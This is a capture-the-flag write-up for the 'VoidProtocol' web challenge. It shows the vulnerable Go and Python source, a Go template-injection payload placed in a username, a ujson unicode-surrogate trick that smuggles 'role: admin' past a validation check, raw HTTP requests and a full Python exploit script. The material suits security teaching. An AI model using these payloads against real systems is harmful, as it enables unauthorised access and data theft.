VoidProtocol - Zinad CTF 2026

Writeup for VoidProtocol CTF challenge combining Go template injection with ujson unicode surrogate truncation to bypass security controls.

VoidProtocol CTF Writeup

Challenge: SSTI In GO and JSON Parsing Discrepancies Category: Web Exploitation Flag: ZiChamp{un1c0d3_smuggl1ng_thr0ugh_th3_v01d}


Table of Contents

  1. Challenge Overview
  2. Source Code Analysis
  3. Vulnerability Deep Dive
  4. Exploitation
  5. Flag Capture

Challenge Overview

This challenge presents a multi-service architecture with a Go web application fronting a Python internal API. The flag is stored in the Python service and requires bypassing multiple security controls.

Architecture

The system consists of:

  • Go Web App (Port 8077) — externally accessible
  • Python API (Port 5000) — internal only, holds the FLAG

docker-compose.yml

version: '3.8'

services:
  web:
    image: voidprotocol-web:latest
    environment:
      INTERNAL_API_URL: http://internal-api:5000
      FLAG: ZiChamp{FLAG_HERE}
    ports:
      - "17000:8077"
    networks:
      - void-net

  internal-api:
    image: voidprotocol-api:latest
    environment:
      FLAG: ZiChamp{FLAG_HERE}
    networks:
      - void-net

networks:
  void-net:
    driver: overlay

The Python internal API is not exposed externally. We must find a way to make the Go app call it on our behalf.


Source Code Analysis

Go Application Structure

go-app/
├── main.go          # Routes and middleware
├── auth.go          # Login/Register handlers
├── index.go         # Main page - SSTI VULNERABILITY HERE
├── profile.go       # Profile update
├── transmit.go      # Message creation
├── users.go         # User model + QueryInternalAPI
├── sessions.go      # Session management + Admin user
└── templates/       # HTML templates

Main Entry Point - main.go

package main

import (
    "net/http"
    "github.com/labstack/echo/v4"
)

func main() {
    e := echo.New()
    e.Use(doSessionStuff)

    e.GET("/register", register)
    e.POST("/register", register)
    e.GET("/login", login)
    e.POST("/login", login)
    e.GET("/transmit", transmit)
    e.POST("/transmit", transmit)
    e.GET("/profile", profile)
    e.POST("/profile", profile)
    e.GET("/logout", logout)
    e.GET("/classified", classified)
    e.GET("/", index)

    e.Logger.Fatal(e.Start(":8077"))
}

Session Management - sessions.go

package main

import (
    "time"
    "github.com/google/uuid"
)

type Session struct {
    users []*User    // PRIVATE - lowercase, not accessible from templates!
    id    string

    User            *User           // EXPORTED - current logged-in user
    Transmissions   []*Transmission // EXPORTED - message history
    NbTransmissions int

    HasError   bool
    Error      string
    HasSuccess bool
    Success    string

    TerminalOutput string
}

type Transmission struct {
    Author    *User
    Subject   string
    Body      string
    Timestamp time.Time
}

var sessions = make(map[string]*Session)

func CreateEmptySession() *Session {
    // CRITICAL: Creates an admin user for each session!
    admin := &User{
        isAdmin:  true,          // Admin privileges!
        Username: "SYSTEM",
    }

    randomPassword := uuid.New().String()
    admin.ChangePassword(randomPassword)

    id := uuid.New().String()

    return &Session{
        users: []*User{admin},   // Admin stored in private field
        id:    id,
        User:  nil,
        Transmissions: []*Transmission{
            {
                Author:    admin,    // Admin is the author!
                Subject:   "VOID PROTOCOL INITIALIZED",
                Body:      "Welcome to the Void Protocol...",
                Timestamp: time.Date(2024, 11, 1, 0, 0, 0, 0, time.UTC),
            },
        },
        NbTransmissions: 1,
    }
}

Key observation: While users is private (lowercase), the Transmissions[0].Author points to the same admin user and IS accessible from templates.

User Model - users.go

package main

import (
    "bytes"
    "crypto/sha256"
    "encoding/hex"
    "encoding/json"
    "fmt"
    "io"
    "net/http"
    "os"
    "strings"
)

type User struct {
    isAdmin  bool      // Private - controls API access
    Username string
    Password string
}

func (u *User) QueryInternalAPI(jsonPayload string) string {
    // SECURITY CHECK #1: Only admins can call this
    if !u.isAdmin {
        return "ERROR: Access denied - administrator privileges required"
    }

    // Parse the JSON to validate it
    var requestData map[string]interface{}
    if err := json.Unmarshal([]byte(jsonPayload), &requestData); err != nil {
        return fmt.Sprintf("ERROR: Invalid JSON format - %s", err.Error())
    }

    // SECURITY CHECK #2: Block admin role requests
    if role, exists := requestData["role"]; exists {
        roleStr, ok := role.(string)
        if ok {
            if strings.ToLower(roleStr) == "admin" {
                return "ERROR: Access denied - admin role requests are blocked"
            }
        }
    }

    // Forward to internal API
    internalURL := os.Getenv("INTERNAL_API_URL")
    if internalURL == "" {
        internalURL = "http://internal-api:5000"
    }

    resp, err := http.Post(
        internalURL+"/api/v1/authorize",
        "application/json",
        bytes.NewBufferString(jsonPayload),  // Raw payload forwarded!
    )
    if err != nil {
        return fmt.Sprintf("ERROR: Internal service unavailable - %s", err.Error())
    }
    defer resp.Body.Close()

    body, _ := io.ReadAll(resp.Body)
    return string(body)
}

The Go app parses JSON for validation but forwards the raw payload to Python. If the parsers interpret the JSON differently, we can bypass the check.

The SSTI Vulnerability - index.go

package main

import (
    "bytes"
    "fmt"
    "html/template"
    "math/rand"
    "github.com/labstack/echo/v4"
)

var terminalPrompts = []string{
    "VOID://TERMINAL > Welcome, %s | Active transmissions: %d",
    "[%s@void-protocol] ~/secure $ echo 'Transmissions: %d'",
    "root@void-nexus:/# USER=%s TRANSMISSIONS=%d",
    "SYSTEM: Agent %s authenticated | Pending messages: %d",
}

func index(c echo.Context) error {
    s := c.Get("session").(*Session)
    templatePath := "templates/index.html"

    indexTemplate := template.Must(template.ParseFiles(templatePath))

    if s.User == nil {
        return c.Redirect(302, "/login")
    }

    // VULNERABILITY: Username is interpolated into template string!
    chosenPrompt := fmt.Sprintf(
        terminalPrompts[rand.Intn(len(terminalPrompts))],
        s.User.Username,      // User-controlled input!
        s.NbTransmissions,
    )

    // VULNERABILITY: The string is then PARSED as a new template!
    terminalTemplate := template.Must(
        indexTemplate.New("terminal").Parse(chosenPrompt)
    )

    var buf bytes.Buffer
    if err := terminalTemplate.Execute(&buf, s); err != nil {
        fmt.Println("Error executing template:", err)
        return indexTemplate.Execute(c.Response().Writer, s)
    }

    s.TerminalOutput = buf.String()
    return indexTemplate.Execute(c.Response().Writer, s)
}

The Bug: If username contains {{...}}, it becomes part of the template and gets executed!

Python Internal API - app.py

#!/usr/bin/env python3

from flask import Flask, request, jsonify
import ujson  # Uses ujson, not standard json!
import os

app = Flask(__name__)

FLAG = os.environ.get('FLAG', 'ZiChamp{test_flag}')

@app.route('/api/v1/authorize', methods=['POST'])
def authorize():
    try:
        raw_data = request.data.decode('utf-8')
        data = ujson.loads(raw_data)  # ujson parser!
        
        role = data.get('role', 'guest')
        action = data.get('action', 'read')
        
        # Grant flag if admin + access_classified
        if role == 'admin' and action == 'access_classified':
            return jsonify({
                'status': 'granted',
                'message': 'Access to classified data granted',
                'classified_data': FLAG  # FLAG RETURNED HERE!
            })
        elif role == 'admin':
            return jsonify({
                'status': 'granted', 
                'message': 'Admin access granted',
                'data': 'Welcome, administrator.'
            })
        else:
            return jsonify({
                'status': 'denied',
                'message': f'Insufficient privileges for role: {role}'
            })
            
    except Exception as e:
        return jsonify({
            'status': 'error',
            'message': 'Invalid request format'
        }), 400

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

Vulnerability Deep Dive

Vulnerability #1: SSTI in Go Templates

Location: index.go lines 29-30

Root Cause: User-controlled Username is passed to fmt.Sprintf, then the result is parsed as a Go template.

Proof of Concept:

Username: {{.User.Username}}
Result: Template executes and outputs the username again

Template Context: The template executes with the Session struct as data, giving access to:

  • .User - Current user (our injected user, not admin)
  • .Transmissions - Array of messages
  • .NbTransmissions - Count
  • .TerminalOutput - Output buffer

Vulnerability #2: Admin Access via Transmission Author

Problem: We need to call QueryInternalAPI() but it requires isAdmin: true.

Solution Path:

Session.users[0]                    -- Private field, not accessible
Session.Transmissions[0].Author     -- Points to admin, IS accessible!

Template Payload:

{{(index .Transmissions 0).Author.QueryInternalAPI `{...}`}}

This accesses the SYSTEM admin user through the transmission author reference.

Vulnerability #3: ujson Unicode Surrogate Truncation

The Security Check (Go):

if strings.ToLower(roleStr) == "admin" {
    return "ERROR: Access denied - admin role requests are blocked"
}

The Target (Python):

if role == 'admin' and action == 'access_classified':
    return jsonify({'classified_data': FLAG})

The Bypass: Python’s ujson truncates unpaired UTF-16 surrogates (like \ud888), causing key collisions.

Parser Key 1 Key 2 Final role Value
Go encoding/json role = “user” role\ud888 = “admin” “user” (checks this)
Python ujson role = “user” role = “admin” (truncated) “admin” (last wins)

Exploitation

Step 1: Craft the SSTI Payload

{{(index .Transmissions 0).Author.QueryInternalAPI `{"role":"user","role\ud888":"admin","action":"access_classified"}`}}

Breakdown:

  • (index .Transmissions 0) - Get first transmission
  • .Author - Get the SYSTEM admin user
  • .QueryInternalAPI - Call the privileged method
  • Backticks for raw string (preserves \ud888 as-is)

Step 2: Register with Malicious Username

POST /register HTTP/1.1
Host: web4.0ffers.net
Content-Type: application/x-www-form-urlencoded

username={{(index .Transmissions 0).Author.QueryInternalAPI `{"role":"user","role\ud888":"admin","action":"access_classified"}`}}&password=pwned123

Step 3: Login

POST /login HTTP/1.1
Host: web4.0ffers.net
Content-Type: application/x-www-form-urlencoded

username={{(index .Transmissions 0).Author.QueryInternalAPI `{"role":"user","role\ud888":"admin","action":"access_classified"}`}}&password=pwned123

Step 4: Trigger SSTI

GET / HTTP/1.1
Host: web4.0ffers.net
Cookie: session=<session_id>

Complete Exploit Script

#!/usr/bin/env python3
"""
VoidProtocol CTF Exploit
Combines SSTI + ujson Unicode Surrogate Truncation Attack
"""

import requests
import re

def exploit(target_url):
    target_url = target_url.rstrip('/')
    session = requests.Session()
    
    # SSTI payload with Unicode surrogate truncation bypass
    # \ud888 is an unpaired UTF-16 surrogate that ujson truncates
    ssti_username = '{{(index .Transmissions 0).Author.QueryInternalAPI `{"role":"user","role\\ud888":"admin","action":"access_classified"}`}}'
    
    password = "pwned123"
    
    print(f"[*] Target: {target_url}")
    print(f"[*] Payload: {ssti_username[:50]}...")
    
    # Step 1: Register
    print("\n[+] Registering malicious user...")
    r1 = session.post(f"{target_url}/register", data={
        "username": ssti_username,
        "password": password
    })
    print(f"    Status: {r1.status_code}")
    
    # Step 2: Login
    print("[+] Logging in...")
    r2 = session.post(f"{target_url}/login", data={
        "username": ssti_username,
        "password": password
    })
    print(f"    Status: {r2.status_code}")
    
    # Step 3: Trigger SSTI
    print("[+] Triggering SSTI on index page...")
    r3 = session.get(f"{target_url}/")
    
    # Extract flag
    flags = re.findall(r'ZiChamp\{[^}]+\}', r3.text)
    
    if flags:
        print(f"\n{'='*50}")
        print(f"[!] FLAG: {flags[0]}")
        print(f"{'='*50}")
    else:
        # Debug output
        print("\n[-] Flag not found. Response excerpt:")
        print(r3.text[:500])
    
    return flags[0] if flags else None

if __name__ == "__main__":
    import sys
    target = sys.argv[1] if len(sys.argv) > 1 else "https://web4.0ffers.net"
    exploit(target)

Flag Capture

Execution

$ python exploit.py https://web4.0ffers.net

[*] Target: https://web4.0ffers.net
[*] Payload: {{(index .Transmissions 0).Author.QueryInternalA...

[+] Registering malicious user...
    Status: 302
[+] Logging in...
    Status: 302
[+] Triggering SSTI on index page...

==================================================
[!] FLAG: ZiChamp{un1c0d3_smuggl1ng_thr0ugh_th3_v01d}
==================================================

Response Analysis

The flag appears in the terminal output section of the HTML:

<div class="terminal-output">
    VOID://TERMINAL > Welcome, {"classified_data":"ZiChamp{un1c0d3_smuggl1ng_thr0ugh_th3_v01d}",
    "message":"Access to classified data granted","status":"granted"} | Active transmissions: 1
</div>

References